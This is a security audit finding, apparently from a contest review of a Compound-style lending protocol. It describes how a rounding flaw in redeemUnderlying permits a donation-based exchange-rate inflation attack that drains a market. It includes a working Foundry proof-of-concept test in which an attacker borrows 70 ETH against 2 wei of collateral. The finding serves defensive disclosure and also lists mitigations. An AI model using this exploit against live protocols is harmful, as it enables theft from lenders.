Formal Viridian Nuthatch
High
A rounding error in the redeemUnderlying
function will cause a complete loss of funds for lenders and the protocol as an attacker will inflate the exchange rate and exploit the undervaluation of burned shares to drain liquidity.
The missing precise rounding mechanism in redeemUnderlying
causes shares to burn inaccurately, enabling an attacker to withdraw collateral exceeding their loan.
This is a very common exploit among these kind of protocols: https://blog.hundred.finance/15-04-23-hundred-finance-hack-post-mortem-d895b618cf33 Every dev and auditor needs to be aware of this issue to mitigate a significant risk.
In redeemUnderlying
, the calculation for the number of shares to burn lacks precise rounding, leading to inaccurate burn values and enabling inflationary exploits.
https://github.com/sherlock-audit/2024-12-mach-finance/blob/main/contracts/src/CToken.sol#L501
- An attacker needs to mint market shares using a small amount of collateral.
- The attacker needs to redeem all but a minimal amount of minted shares.
- The attacker donates a significant amount of tokens directly to the market contract to inflate the exchange rate.
- The protocol must allow rounding errors during the burn calculation in
redeemUnderlying
.
- The market must have zero or minimal liquidity to amplify the effects of the rounding error.
- The attacker mints shares using a small amount of collateral.
- The attacker redeems all but a minimal amount of the minted shares.
- The attacker donates a significant amount of tokens to the market, inflating the exchange rate.
- The attacker borrows funds from another market using the inflated exchange rate.
- The attacker redeems their collateral with minimal shares burned due to rounding errors.
- The protocol interprets the remaining shares as sufficient to cover the outstanding loan, allowing the attacker to escape with the borrowed funds.
The protocol and lenders suffer a total loss of liquidity in the affected market. The attacker gains substantial value, leaving the protocol insolvent with no collateral to cover outstanding loans.
contract CTokenTest is BaseTest {
SimplePriceOracle public priceOracle;
function setUp() public {
_deployBaselineContracts();
vm.startPrank(admin);
priceOracle = new SimplePriceOracle();
uint256 btcPrice = 100_000 * 10 ** (36 - wbtc.decimals());
priceOracle.setUnderlyingPrice(CToken(address(cWbtcDelegator)), btcPrice);
uint256 sonicPrice = 1 * 10 ** (36 - 18);
priceOracle.setUnderlyingPrice(CToken(address(cSonic)), sonicPrice);
comptroller._setPriceOracle(priceOracle);
comptroller._setCollateralFactor(CToken(address(cWbtcDelegator)), 0.75e18);
comptroller._setCollateralFactor(CToken(address(cSonic)), 0.5e18);
vm.stopPrank();
}
function test_Exploit() public {
// fund cSonic market to replicate eth market
vm.deal(address(admin), 100.1 ether);
vm.startPrank(admin);
cSonic.mint{value: 100 ether}();
// create user and fund user
address attacker = makeAddr("leet");
deal(address(wbtc), attacker, 50000000002);
console.log("---x---");
console.log("User Balances");
console.log("wBTC: %d, ETH: %d", wbtc.balanceOf(attacker)/1e8, attacker.balance/1e18);
console.log("---x---");
address[] memory marketsToEnter = new address[](2);
marketsToEnter[0] = address(cWbtcDelegator);
marketsToEnter[1] = address(cSonic);
vm.startPrank(attacker);
wbtc.approve(address(cWbtcDelegator), type(uint256).max);
// supply small amount of wBTC as collateral
cWbtcDelegator.mint(2);
comptroller.enterMarkets(marketsToEnter);
// transfer wBTC to the pool
wbtc.transfer(address(cWbtcDelegator), 500e8);
// borrow eth
cSonic.borrow(70e18);
// redeem the collateral
cWbtcDelegator.redeemUnderlying(499.999999e8);
console.log("---x---");
console.log("User Balances");
console.log("wBTC: %d, ETH: %d", wbtc.balanceOf(attacker)/1e8, attacker.balance/1e18);
console.log("---x---");
}
}
Output:
Logs:
---x---
User Balances
wBTC: 500, ETH: 0
---x---
---x---
User Balances
wBTC: 499, ETH: 70
---x---
- Ensure that markets never reach a zero liquidity state by minting a small amount of shares and sending them to the zero address.
- When listing a new collateral token: First, set its collateral factor to zero. Mint some shares and send them to the zero address. Then, change the collateral factor to the desired value. Introduce precise rounding mechanisms in the redeemUnderlying calculation to ensure correct burning of shares:
sharesToBurn = (redeemAmountIn * precisionFactor) / exchangeRate;
Enforce stricter checks on market liquidity to mitigate attacks based on low-liquidity scenarios.